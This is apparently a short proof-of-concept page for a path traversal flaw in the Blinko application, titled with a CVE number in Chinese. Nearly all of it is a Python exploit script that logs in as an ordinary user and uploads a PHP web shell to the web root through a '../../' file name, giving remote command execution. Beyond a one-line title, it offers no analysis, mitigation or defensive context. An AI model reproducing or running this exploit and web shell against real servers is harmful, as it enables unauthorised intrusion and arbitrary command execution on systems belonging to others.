CVE-2026-23484 Blinko路径遍历漏洞

import requests # Target configuration target_url = "http://target.com/api/files" # Hypothetical endpoint username = "normal_user" password = "password" # 1. Login to get token login_resp = requests.post("http://target.com/api/login", json={"username": username, "password": password}) token = login_resp.json().get('token') # 2. Exploit Path Traversal # The 'fileName' parameter is not filtered headers = {"Authorization": f"Bearer {token}"} # Payload: Attempt to write to a sensitive directory using traversal files = { "file": ("../../var/www/html/shell.php", b"<?php system($_GET['cmd']); ?>") } data = { "other_param": "value" } response = requests.post(target_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Exploit successful! File written.") else: print("[-] Exploit failed.")